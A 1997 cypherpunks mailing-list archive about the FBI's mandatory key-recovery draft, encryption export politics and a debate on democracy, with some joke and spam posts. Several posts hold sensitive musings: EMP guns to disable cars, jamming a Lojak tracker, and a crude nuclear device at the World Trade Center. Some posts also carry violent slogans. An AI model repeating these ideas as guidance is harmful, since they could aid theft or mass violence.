on financial markets is based on speculation. In other words, your
megatonnage may vary.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 8 Sep 1997 17:09:19 +0800
To: cypherpunks@toad.com
Subject: Suitcase for sale - $1,000,000
Message-ID: <199709080845.KAA01381@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Weight of suitcase: 80 lbs.

For details contact: toto@sk.sympatico.ca



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 8 Sep 1997 23:13:28 +0800
To: cypherpunks@ssz.com
Subject: Re: EMP & Cars (fwd)
Message-ID: <199709081501.KAA01649@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Jim Choate <ravage@ssz.com>

> Forwarded message:
> 
> > Date: Fri, 5 Sep 1997 11:48:08 -0400 (EDT)
> > From: Ray Arachelian <sunder@brainlink.com>
> > Subject: EMP & Cars (fwd)
> 
> > There has been quite an interest in EMP.
> 
> > pulses to a near miss lightning strike. As far as vehicle disabling, There
> > are claims that auto manufactures have built in a shut down frequency into
> > the computers in certain vehicles. We wound a large coil on a carpet paper
> > tube and put an oscillator on it and it would flood a vehicles electrical
> > system to shut it down, but it was huge.
> 
> Mind being a little more specific?...

[...]

> > The easiest way to learn about
> > EMP is to find the International TESLA society web site and interpret the
> > information there.
> 
> Some of the best sources are ECM & EECM texts/sites.
> 
> While it is a good source of technical info it does take a bull-shit
> detector set to full to sift through all the other detritis the ITS wallows
> in. Space aliens, hollow earth, over-unity power, etc.

Ham radio operators have been dealing with this issue for years. 
There's a lot of (mostly anectodotal) stories of mobile operators
keying up their rigs and having either their own or neighbouring
cars misfiring or dieing. Shielded ignition cables seem to fix 
things (though they are actually bought to prevent ignition noise 
from getting into the radio, not the other way around).

Ham operators can use *much* more powerful transmitters than CB or
cell phones - my own transceiver puts out 50 watts, but some go a 
lot higher.

It's fairly common for hams to 'test' a prospective car purchase by 
waving an HT over the engine while transmitting, to see if it has a 
problem.

I suspect that it would be quite possible to build an EMP gun to 
kill most running cars, but it would also kill anyone with a
pacemaker.

I'm more worried about the current trend towards placing remotely
controlled electronics in cars. Already, one US manufacturer offers
as an option a satellite reciever which (among other things) can
unlock the car remotely if you lock it in the car accidentally. I 
have no idea how much authentication is required for such a request,
but I'm sure car theives are looking into it. To defend against
this, I expect next years model will also allow the car to be
turned off by remote control, or turn on a tracking device.

The popular 'Lojak' car tracking system has similar civil liberties 
issues. I understand that the car owner has no control over it's
activation, can't disable it, and there is no indication that it is
in operation.Apparently all the "authorities" need to turn it on 
is the VIN.

Peter Trei
N1MNV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Tue, 9 Sep 1997 00:17:25 +0800
To: cypherpunks@toad.com
Subject: CDT Policy Post 3.13 - New FBI Crypto Bill To Force Key Recovery
Message-ID: <v0310280bb039c5915dd5@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



------------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Democracy and Technology  /____/     Volume 3, Number 13
----------------------------------------------------------------------------
      A briefing on public policy issues affecting civil liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 3, Number 13                    September 8, 1997

 CONTENTS: (1) New FBI Draft Crypto Bill Would Force Mandatory Key Recovery
           (2) Text of FBI Proposal
           (3) What You Can Do
           (4) How to Subscribe/Unsubscribe
           (5) About CDT, contacting us

  ** This document may be redistributed freely with this banner intact **
        Excerpts may be re-posted with permission of <editor@cdt.org>
         ** This document looks best when viewed in COURIER font **
_____________________________________________________________________________

(1) NEW FBI DRAFT ENCRYPTION LEGISLATION WOULD IMPOSE MANDATORY KEY RECOVERY

In its most audacious crypto proposal yet, the FBI is circulating on
Capitol Hill legislation to impose full domestic controls on the
manufacture and use of encryption.  The FBI is seeking support for its
proposal among two crucial House Committees preparing to consider
encryption legislation this week.

The text of the key section of the FBI draft is attached below.

The FBI draft would take two extraordinary steps. It would prohibit the
manufacture, sale, import or distribution within the United States of any
encryption product unless it contains a feature that would create a spare
key or some other trap door allowing "immediate" decryption of any user's
messages or files without the user's knowledge.

In addition, it would require all network service providers that offer
encryption products or services to their customers to ensure that all
messages using such encryption can be immediately decrypted without the
knowledge of the customer.  This would apply to telephone companies and to
online service providers such as America Online and Prodigy.

In the FBI draft, the "key recovery capability" could be activated by the
purchaser or end user.  But requiring that such a capability be installed
in all domestic communications networks and encryption products would be
the critical step in enabling a national surveillance infrastructure.

The proposal requires the Attorney General to set standards for what are
and are not acceptable encryption products. The proposal's requirement of
"immediate" decryption would seem to seriously limit the options available
to encryption manufacturers seeking approval of their products.

While export of encryption products from the United States has long been
restricted, there have never been controls on the manufacture,
distribution, or use of encryption within the United States.

Pending before the House Intelligence and National Security Committees is
the Security and Freedom through Encryption Act (SAFE, HR 695), sponsored
by Rep. Goodlatte (R-VA), which would lift current export controls on
encryption technology. The Goodlatte bill has already been reported
favorably by the House Judiciary and International Relations Committees.
The House National Security Committee is scheduled to consider HR 695 on
Tuesday, September 9. The House Intelligence Committee has scheduled its
vote for September 11. Members of both committees are expected to consider
the FBI draft as a substitute to the SAFE bill.

This FBI proposal represents a major turn-around for the Clinton
Administration, which has denied since its first year that it was seeking
domestic controls on encryption.

The FBI proposal is an attempted end run around the Constitution.  By
creating an avenue for immediate access to sensitive decryption keys
without the knowledge of the user, the proposal denies users the notice
that is a central element of the Fourth Amendment protection against
unreasonable searches and seizures.  Just this past April, the Supreme
Court reaffirmed that the Fourth Amendment normally requires the government
to advise the target of a search and seizure that the search is being
conducted.

Forcing U.S. citizens and companies to adopt so-called key recovery systems
poses serious security risks, especially when the systems can be accessed
without the knowledge of the users.  A recent study by 11 cryptography and
computer security experts concluded that such key recovery systems would be
costly and ultimately insecure (see http://www.crypto.com/key_study)

CDT executive director Jerry Berman said of the latest proposal, "This is
not the first step towards the surveillance society. It *is* the
surveillance society."

______________________________________________________________________________

(2) TEXT OF MANDATORY KEY RECOVERY SECTION OF FBI DRAFT LEGISLATION
    (From FBI "Technical Assistance Draft" Dated August 28, 1997)

SEC. 105. PUBLIC ENCRYPTION PRODUCTS AND SERVICES

(a)    As of January 1, 1999, public network service providers offering
encryption products or encryption services shall ensure that such products
or services enable the immediate decryption of communications or electronic
information encrypted by such products or services on the public network,
upon receipt of a court order, warrant, or certification, pursuant to
section 106, without the knowledge or cooperation of the person using such
encryption products or services.

(b)    As of January 1, 1999, it shall be unlawful for any person to
manufacture for sale or distribution within the U.S., distribute within the
U.S., sell within the U.S., or import into the U.S. any product that can be
used to encrypt communications or electronic information, unless that
product -

       (1) includes features, such as key recovery, trusted third party
       compatibility or other means, that

           (A) permit immediate decryption upon receipt of decryption
           information by an authorized party without the knowledge or
           cooperation of the person using such encryption product; and

           (B) is either enabled at the time of manufacture, distribution,
           sale, or import, or may be enabled by the purchaser or end user; or

       (2) can be used only on systems or networks that include features, such
       as key recovery, trusted third party compatibility or other means, that
       permit immediate decryption by an authorized party without the knowledge
       or cooperation of the person using such encryption product.

(c)  (1) Within 180 days of the enactment of this Act, the Attorney General
     shall publish in the Federal Register functional criteria for complying
     with the decryption requirements set forth in this section.

     (2) Within 180 days of the enactment of this Act, the Attorney General
     shall promulgate procedures by which data network service providers and
     encryption product manufacturers, sellers, re-sellers, distributors, and
     importers may obtain advisory opinions as to whether a decryption method
     will meet the requirements of this section.

     (3) Nothing in this Act or any other law shall be construed as requiring
     the implementation of any particular decryption method in order to satisfy
     the requirements of paragraphs (a) or (b) of this section.

______________________________________________________________________________

(3) WHAT YOU CAN I DO TO HELP?

Are you concerned about protecting privacy and security in the information
age? Curious what your Member of Congress thinks about the issue?

  Adopt Your Legislator! Visit http://www.crypto.com/adopt for details

You will recieve customized alerts with news you can use, inlcuding the
latest information on internet-related issues, the views of your
Representative and Senators, and contact information to help you ensure
your voice is heard in the ongoing debate over the future of the
Information Age.

Visit http://www.cdt.org/crypto or http://www.crypto.com/ for detailed
background information on the encryption policy reform debate, including
the text of various legislative proposals, analysis, and other information.

_____________________________________________________________________________

(4) SUBSCRIPTION INFORMATION

Be sure you are up to date on the latest public policy issues affecting
civil liberties online and how they will affect you! Subscribe to the CDT
Policy Post news distribution list.  CDT Policy Posts, the regular news
publication of the Center For Democracy and Technology, are received by
more than 13,000 Internet users, industry leaders, policy makers and
activists, and have become the leading source for information about
critical free speech and privacy issues affecting the Internet and other
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To subscribe to CDT's Policy Post list, send mail to

     policy-posts-request@cdt.org

with a subject:

     subscribe policy-posts

If you ever wish to remove yourself from the list, send mail to the
above address with a subject of:

     unsubscribe policy-posts
_____________________________________________________________________________

(5) ABOUT THE CENTER FOR DEMOCRACY AND TECHNOLOGY/CONTACTING US

The Center for Democracy and Technology is a non-profit public interest
organization based in Washington, DC. The Center's mission is to develop
and advocate public policies that advance democratic values and
constitutional civil liberties in new computer and communications
technologies.

Contacting us:

General information:  info@cdt.org
World Wide Web:       URL:http://www.cdt.org/
FTP                   URL:ftp://ftp.cdt.org/pub/cdt/

Snail Mail:  The Center for Democracy and Technology
             1634 Eye Street NW * Suite 1100 * Washington, DC 20006
             (v) +1.202.637.9800 * (f) +1.202.637.0968

----------------------------------------------------------------------------
End Policy Post 3.13                                               09/08/97
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 9 Sep 1997 02:38:01 +0800
To: "Peter Trei" <cypherpunks@ssz.com
Subject: Re: EMP & Cars (fwd)
In-Reply-To: <199709081501.KAA01649@einstein.ssz.com>
Message-ID: <v03102800b039d1d23cf5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>The popular 'Lojak' car tracking system has similar civil liberties
>issues. I understand that the car owner has no control over it's
>activation, can't disable it, and there is no indication that it is
>in operation.Apparently all the "authorities" need to turn it on
>is the VIN.

Lojak, like  uses a pager frequency to activate the transponder.  It is
easy and inexpensive to build a low-power de-activating transmitter,
operated in or near the car, to jam the pager receiver and prevent the
unit's operation.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | economic and crypto dissident
---------------------------------------------------------------------

	The push by western governments for financial transparency and
	banning unrestricted use of cryptography is blatent politicial
	tyranny.

	Free Cypherpunk Political Prisoner Jim Bell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Mon, 8 Sep 1997 10:13:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Weasel nymserver closed due to child porn investigation
In-Reply-To: <19970907224816.29967@squirrel.owl.de>
Message-ID: <199709080205.MAA11874@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain




> On Monday, September 1st, 1997, a police officer from the German
> "Internet Patrol" in Munich contacted my provider and me by phone

Where r the pigs from the Internet Patrol when u need them. Only last 
week I was mugged on my way to a server.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 9 Sep 1997 03:43:04 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199709081905.MAA13763@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Jesus had 3 nipples.


(this has been proven to be true)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 9 Sep 1997 03:51:36 +0800
To: tcmay@got.net
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <v03102802b039df8e51d7@[207.167.93.63]>
Message-ID: <199709081923.MAA22662@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> (Conventional explosives could also cause a billion or more dollars worth
> of damage to a major wafer fabrication plant, of course, but the
> manufacturing capacity could be shifted to other plants in a matter of
> months. Some major short sale opportunities, but not nearly what a nuke
> could do to a _region_, in terms of direct blast effects, fallout in
> surrounding city blocks (tens of square city blocks, at the least, esp.
> give OSHA standards, etc.), and the sheer panic effect.)
> 

On of my favorite analyses of a similar scenario is contained in "The
Curve of Binding Energy" by John McPhee (available at your local
Borders or Barnes and Noble).  He basically interviews a high energy
physicist and works out the back of the envelope calculations on
yields, where to get the plutonium, where and how to place the device,
etc.  A key point was that a high efficiency device is not required.  
A dirty 1.5 kiloton gadget placed on the 40th floor of the World Trade
Center takes out one tower and kills a shit load of folks in the
adjacent tower.  Includes other rules of thumb such as "one kiloton of
explosives vaporizes one kiloton of matter".  YMMV, don't try this at
home kids, etc, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 9 Sep 1997 04:14:02 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Removing Tyranny from Democracy (Part II), was Democracy is the true enemy...
In-Reply-To: <v03102804b03773c97e15@[10.0.2.15]>
Message-ID: <199709081954.MAA02751@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




FYI, SS is quoting from a new book that I have mentioned on this
list on a prior date.


>Our elections are corrupted by bribery - not the big money paid to
>candidates by corporate donors, but the taxpayers' money offered to voters
>by the candidates themselves.

our elections are also corrupted by the fact that voters are not
expending any significant effort to decide whom to vote for. they
watch tv, and if an advertisement pushes their buttons in the right
way, it affects their vote.

another possibility in reforming our system is changing it away
from a *republic* in which we elect senators and representatives
to a true democracy. it is easier to bribe politicians than it
is to bribe the public in my opinion. in fact, that's what we
need, someone that bribes the public-at-large instead of smaller
constituencies to get elected. a single senator can be bribed,
but bribing the entire population is like ultimately serving them.

consider that products sold for less money are in a way a kind
of "bribe" on the public. (a coarse word to use here). but the
products are trying to buy favoritism. I propose this is mostly
a problem only when they are appealing to narrow audiences.
for example, a bill that supports only timber cutters is a 
small constituency, susceptible to bribery. a bill that benefits
the entire nation is contrary to this.

>The darkest warnings of democracy's critics are being furfilled, precisely
>because of entitlement programs that already exist, which are driving the
>federal government into an abyss of debt.  Touching the big entitlement
>programs - the ones available to the middle class - is "political suicide."
>The president exploits this fact when he plays chicken with Republicans who
>want to reform those programs. All of which shows that we really know that
>democracy's critics were right. Too many voters are already bought - not by
>corporate campaign donors, but by the government itself. Worst of all, we
>accept this as normal, healthy politics even as it threatens to ruin us.

the public needs to eventually learn that for every dollar they send
to washington, they get only a fraction back, no matter how lucrative
their own pork. the problem with our
politics is that voters have not realized that they are almost always
cheating themselves when they try to cheat their neighbors. it's a shell
game that they keep playing as long as they think someone else is paying.

I don't believe there are intrinsic flaws in democracy, so much as
there are intrinsic flaws in *human*nature* that are coming to light
after decades. government is a reflection of our human natures.
one cannot really expect a government to correct the flaws of its
users, any more than software could do the same.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Mon, 8 Sep 1997 19:19:16 +0800
To: cypherpunks@toad.com
Subject: FVG ??
Message-ID: <Pine.HPP.3.91.970908130146.29826A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain




http://www.fvg.com

In Santa Fe (?).

What kind of joke is that?

Is this what Java is for??


Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 8 Sep 1997 23:33:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Prayer to A.M. Turing
Message-ID: <3gDm3/KXXobGiEuuujWoNQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
>Monty Cantain writes:
>> Oh Lord Turing, God of Messages and Pathways, please reduce the
>> latency time of the remailer network!  Please accept this humble
>> offering: 10110AlanMathisonTuring8ef2b1912670b51
>
>Your email to Lord Turing may bounce, your hashcash postage doesn't
>collide:
>
>% ashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51
>collision: 0 bits
>%

Add an "f".

AMT







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 9 Sep 1997 06:31:42 +0800
To: cypherpunks@toad.com
Subject: Deja Vu / Re: Info please
In-Reply-To: <199709082134.QAA13922@fastlane.net>
Message-ID: <3414759D.3088@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



davewww wrote:
> 
> davewww@fastlane.net

Dont go swimming on a full stomach.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 9 Sep 1997 07:19:45 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Removing Tyranny from Democracy (Part II), was Democracy isthe true enemy...
In-Reply-To: <v03102804b03773c97e15@[10.0.2.15]>
Message-ID: <v03102801b03a35008a30@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:54 PM -0700 9/8/97, Vladimir Z. Nuri wrote:
>FYI, SS is quoting from a new book that I have mentioned on this
>list on a prior date.

Part II wasn't quoted from Soverign Individual.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 9 Sep 1997 07:53:12 +0800
To: cypherpunks@toad.com
Subject: Re: Deja Vu / Re: Info please
Message-ID: <199709082324.QAA18827@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  8 Sep 97 at 16:01, TruthMonger wrote:

> Dont go swimming on a full stomach.
>
Don't play with that, you'll shoot your eye out. 
 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "davewww" <davewww@fastlane.net>
Date: Tue, 9 Sep 1997 05:59:08 +0800
To: <cypherpunks@toad.com>
Subject: Info please
Message-ID: <199709082134.QAA13922@fastlane.net>
MIME-Version: 1.0
Content-Type: text/plain



davewww@fastlane.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 9 Sep 1997 08:35:32 +0800
To: cypherpunks@toad.com
Subject: News: California Legislature Backs Encryption Exports
Message-ID: <199709090006.RAA18844@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Incredible ...  I've been tracing this for the last few days, and I
have seen ZERO mention in print and ONE tiny mention in San Jose
Mercury News (which did NOT get reflected in the print version;
someone please prove me wrong).

The Key Bill Numbers:

    SB-1133 and SJR-29 (Start from: http://www.ca.gov and look under
    "senate")

    SB-1133 is a full encryption policy direction declaration (yes,
    that means it's still fluff, but at least it says key recovery
    does not work.)

    SJR-29 is the resolution mentioned below.

Full Article:

    http://www.zdnet.com/intweek/daily/970908b.html
    by Will Rodger

Key Passage:

    Clinton administration officials tried to fight passage of the
    resolution in the technology-heavy state, while at the same time
    trying to conceal their moves from industry opponents, according
    to lobbyists close to the floor action.

    Commerce Undersecretary William Reinsch, for example, sent the
    state senate committee considering the measure a three-page fax
    urging them to vote down the resolution an hour before a scheduled
    committee vote on Aug. 28.

    Officials of the Office of Management and Budget then tried to
    keep the contents of the fax secret from opponents by warning that
    the work was protected by copyright and could not be shown outside
    the committee without violating the author's copyright.

    "We eventually got a copy anyway. It's nothing but the same old
    arguments," said Chuck Marson, a lobbyist for the Internet
    Industry Alliance, an industry group composed of Netscape
    Communications Corp., Microsoft Corp., America Online Inc. and
    Netcom On-Line Communication Services Inc.

It is just utterly amazing that NO major news organization has yet to
challenge the Clinton Administration on this issue:

    That the Administration has consistently misrepresented the facts
    and, in some case, just plain lied, to the public, and have tried
    every under-handed method to slow the spread of encryption,
    key-recovery or not, and to increase the surveillence powers of
    law enforcement and intelligence agencies.

And now, here we are, on the eve of a series of important votes to gut
Goodlatte's SAFE legislation, and no one knows anything about the
slimeball tactics the Administration is using to regulate, for the
first time, what kind of software one can write.

Maybe it is just as well.  Perhaps the best way is to fold and appear
weak on the initial vote and let the whole damn thing pass (after all,
I'm willing to bet that the purpose of trying to gut the legislation
before it reaches the floor is to make it not worth anyone's vote).
If our side can get everyone to vote for the GAK-compliant version,
perhaps it will pave the way for a most excellant CDA-style challenge.

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 9 Sep 1997 08:41:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: GAK patents, anyone?
In-Reply-To: <199709082334.BAA03486@basement.replay.com>
Message-ID: <3.0.3.32.19970908172559.03d80b60@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:34 AM 9/9/97 +0200, Anonymous wrote:
>
>Anyone want to guess how long until they will give 'key escrow' systems
>special protection?  
>
>(Actually that would be a good thing, because it would make GAK more
>expensive :-)

It would be interesting to find out what they would do if someone patented
all the good GAK methods and then held on to the patents .

Sounds like a job for Ron Rivest or Matt Blaze. ]:>

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 09:08:11 +0800
To: cypherpunks@Algebra.COM
Subject: Government shows its hand...good news!
Message-ID: <v03102802b03a4c4ebf40@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Though it's understandable why so many are expressing anger, gloom,
anxiety, and rage over the Freeh-Feinstein mandatory key escrow draft bill,
a better attitude is that of joy.

Any way it goes, this is good news for us.

If the Safe Internet Act (or whatever it is finally called)  is passed, the
Supreme Court will likely strike it down (on First and/or Fourth Amendment
grounds). This will marginalize the crypto folks, and perhaps cause the
Court to reaffirm the Patel decision and related issues.

If the Safe Internet Act is never actually proposed, or dies in committee,
or fails, then at least Big Brother's true intentions will have been shown.

Actually, this has already happened. All of those who ever expressed doubt
that Big Brother planned to ban crypto must now see we were right all along.

The remaining alternate course, that the Act is passed, and then that the
Supreme Court eventually affirms its constitutionality, is also good for
us. For it will then mean war has been declared, and various extreme sorts
of actions will then accelerate.

And that could be a lot of fun.

But I expect, in all seriousness, that the Freeh-Feinstein view will fade.
Clinton is about to enter his lame duck phase, and sentiment seems to be
against mandatory key escrow. As one ironic example, the California state
legislature has voted unanimously, both houses, to send a message to
Washington urging easing of crypto exports.

Feinswine, being a Californian, might want to heed this. But, being a
Pacific Heights socialist, er, socialite, she's too clueless to have any
inkling what the issues are.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jared <_jar3d_@geocities.com>
Date: Tue, 9 Sep 1997 09:35:27 +0800
To: cypherpunks@toad.com
Subject: Re: Deja Vu / Re: Info please
In-Reply-To: <199709090057.CAA14378@basement.replay.com>
Message-ID: <3414A2FD.FEE7767B@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain





Anonymous wrote:

> >> Dont go swimming on a full stomach.
> >>
> >Don't play with that, you'll shoot your eye out.
> >
> Always wear clean underwear in case you get hit by a car.

  Don't look into a gimped up horses mouth..err..wait





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 9 Sep 1997 06:31:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Removing Tyranny from Democracy (Part II), was Democracy is the true enemy...
In-Reply-To: <v03102804b03773c97e15@[10.0.2.15]>
Message-ID: <97Sep8.181602edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 7 Sep 1997, Steve Schear wrote:

> Many, beginning with de Toquivelle, have noted that democracy brings with
> it the unhappy possibility of a tyranny of the majority.  The reasons for
> this shortcoming are closely tied to the decision of whom within the
> democracy receives the franchise and how in a representative democracy
> officeholders are elected.

I don't think it is so much of the franchise as to the problem of whoever
the enfranchised are voting themselves largess at the public trough (also
noting how few of the franchised actually exercise the right today).  If
no one would consider voting for subsidies, the country is safe.  As soon
as the first subsidy is passed, a mob will form to lobby for a similar one
to benefit them.  This will occur even if the enfranchised group is small
- absolute power corrupts absolutely, even when it is every citizen who
can wield it, or an oligarchy.

Moreover, property ownership does not make for any better selection except
that it is probable that one of your ancestors had to acquire wealth.
Then the property owners simply vote to prevent transfer of property or
some other means of freezing the franchise, and can still cause all the
problems of tyranny.

It would be preferable that everyone wanting to vote have to pass a test
which had as a major component the fate of all democracies that use
majority power to destroy minority rights and to vote themselves
subsidies.  At this point, the democratic right to commit societial
suicide at least becomes an informed decision.

Democracy is as tyrannical as any other system if rights aren't respected.
In those cases where limited government might have to make a decision
concerning all, and there is time to debate the issue, democracy (either
representative or direct) is the most just method.

> The darkest warnings of democracy's critics are being furfilled, precisely
> because of entitlement programs that already exist, which are driving the
> federal government into an abyss of debt.  Touching the big entitlement
> programs - the ones available to the middle class - is "political suicide."

You should finish the story (or is there a Part III coming out)...

Democracies bankrupt themselves because this voting of largess eventually
turns into a pyramid scheme that collapses when there is no one left
creating wealth, only those trying to redistribute it.  After wealth can
no longer be distributed, the attempt is made to transfer more power to
government (because they can't believe that the reason for the problem is
their own greed - it must be the Jews, Corporations, Immigrants, Right
Wing Radicals, Gold Hoarders - pick your favorite group). 

And we end up back with a tyranny - from a totalitarian democracy, to a
dictatorship when everything breaks down.

All it will take is one stock market crash (read: correction that restores
dividend yields and price-to-book values to historic normalcy) - and the
following recession to bankrupt the pay-as-you-go government (watch for
20%+ interest rates on government securities during a deflation!).  The
unemployed riot demanding something other than scrip and seinors refuse to
pay taxes unless their social security is in cash - volia, we have
marshall law.  Remember what Roosevelt got away with before the current
method of expressing displeasure - burning your city to the ground -
became popular.

Probably before the congress is through investigating the campaign
irregularities in the 1996 elections.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 09:29:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: GAK patents, anyone?
In-Reply-To: <199709082334.BAA03486@basement.replay.com>
Message-ID: <v03102803b03a532c5c4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:25 PM -0700 9/8/97, Alan wrote:
>At 01:34 AM 9/9/97 +0200, Anonymous wrote:
>>
>>Anyone want to guess how long until they will give 'key escrow' systems
>>special protection?
>>
>>(Actually that would be a good thing, because it would make GAK more
>>expensive :-)
>
>It would be interesting to find out what they would do if someone patented
>all the good GAK methods and then held on to the patents .
>
>Sounds like a job for Ron Rivest or Matt Blaze. ]:>

Actually, one of the UC Berkeley professors actually *got* a patent on key
escrow methods.  Micali, as I recall.

As for the "expedited patents" bullshit, that's an abuse of the patent
process, to support certain political goals by expediting certain
applications and (obviously, given ontological realities) delaying others.

As for terrorism, the United States is basically the major
terrorism-supporting state in the world.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 9 Sep 1997 09:35:42 +0800
To: cypherpunks@cyberpass.net
Subject: Removing Tyranny from Democracy (Part III), was Democracy is thetrue enemy...
In-Reply-To: <v03102804b03773c97e15@[10.0.2.15]>
Message-ID: <v03102803b03a376e1c53@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



